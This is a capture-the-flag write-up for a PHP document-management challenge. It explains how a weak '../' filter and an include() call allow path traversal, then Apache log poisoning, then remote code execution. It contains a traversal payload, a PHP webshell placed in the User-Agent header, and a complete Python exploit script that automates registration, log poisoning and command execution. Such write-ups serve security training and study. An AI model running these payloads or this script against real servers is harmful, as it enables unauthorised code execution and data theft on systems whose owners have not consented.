This challenge presents a document management system with a classic path traversal vulnerability that can be escalated to remote code execution through log poisoning.
When first approaching this challenge, I started by examining the application structure:
The key files to examine are:
index.php - Main application logiclogin.php / register.php - Authenticationflag.txt / readflag - The target file (moved to /flag.txt and /readflag in the container)Looking at the download functionality in index.php (lines 60-85), we find vulnerable code:
// Handle document download
if (isset($_GET['download'])) {
$file_path = $_GET['download'];
if (!empty($file_path)) {
$file_path = str_replace('../', '', $file_path); // ← Weak sanitization!
$full_path = $projects_dir . $file_path;
if (file_exists($full_path) && is_readable($full_path)) {
ob_start();
include($full_path); // ← Direct file inclusion!
$output = ob_get_clean();
// Set download headers
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
header('Content-Length: ' . strlen($output));
echo $output;
exit();
}
}
$error = "Document not found or access denied.";
}
The Problem: The sanitization str_replace('../', '', $file_path) is easily bypassed. This only removes the exact occurrences of ../ from the string, so ....// becomes ../ after the replacement.
The bypass works because:
....//....//....//....//flag.txtstr_replace('../', '', $file_path): ../../../../flag.txtprojects/../../../../flag.txt/flag.txtFirst, let's test if we can read files outside the projects directory:
?download=....//....//....//....//....//etc/passwd
And it works! We can access any file that our user has read permissions to.
Initially, we may think to just try this directly with the flag file with a payload like
?download=....//....//....//....//....//flag.txt
HOWEVER, the flag file is not readable directly. If we look at the Dockerfile, we see that the flag file is owned by root, and that only the root user can read the file. However, a binary named readflag is given suid, so to read the flag, we'll need to get code execution on this machine and run /readflag.
If we look closely at the download code, we'll see that it for some reason uses include() for the files instead of a safer function like file_get_contents(), this means that if theoretically we got a php script from the server, it would execute before being delivered to us. If we had uploads, we could easily upload a webshell and be off to the races, but as is we have no immediately obvious way to get code execution.
Uploads are disabled, but is there any other way that we can write data to files?
The Attack Vector: Apache access logs!
When you send an HTTP request with PHP code in the User-Agent header, Apache logs it like this:
127.0.0.1 - - [17/Sep/2025:16:18:43 +0000] "GET / HTTP/1.1" 200 282 "-" "<?php system($_GET['c']); ?>"
When this log file is included via PHP's include(), the PHP code gets executed!
That leaves us the following plan:
/var/log/apache2/access.logHere's the step-by-step process:
User-Agent: <?php system($_GET['c']); ?>?download=....//....//....//....//....//var/log/apache2/access.log&c=id#!/usr/bin/env python3import requestsimport sysimport timedef register_and_login(base_url): """Create account and login""" session = requests.Session() # Register ts = int(time.time()) email = f"hacker{ts}@metactf.com" password = f"hack{ts}!" register_data = { 'name': f'Hacker {ts}', 'email': email, 'password': password, 'confirm_password': password, } session.post(f"{base_url}/register.php", data=register_data) # Login login_data = {'email': email, 'password': password} session.post(f"{base_url}/login.php", data=login_data) return sessiondef poison_logs(base_url): """Poison Apache access logs with PHP webshell""" webshell = "<?php system($_GET['c']); ?>" # Send request with webshell in User-Agent headers = {'User-Agent': webshell} requests.get(base_url, headers=headers) print(f"[+] Logs poisoned with: {webshell}")def execute_command(session, base_url, command): """Execute command via log inclusion""" # Path traversal to access logs log_path = "....//....//....//....//....//var/log/apache2/access.log" url = f"{base_url}/index.php?download={log_path}&c={command}" response = session.get(url) return response.textdef main(): base_url = sys.argv[1].rstrip('/') print("[*] Starting Stratagem exploit...") # Step 1: Get authenticated session session = register_and_login(base_url) print("[+] Authenticated successfully") # Step 2: Poison the logs poison_logs(base_url) print("[+] Logs poisoned") # Step 3: Execute commands print("[*] Testing command execution...") result = execute_command(session, base_url, "id") print(f"[*] Command output: {result}") # Step 4: Get the flag print("[*] Reading flag...") flag = execute_command(session, base_url, "/readflag") print(f"[+] Flag: {flag}")if __name__ == "__main__": main()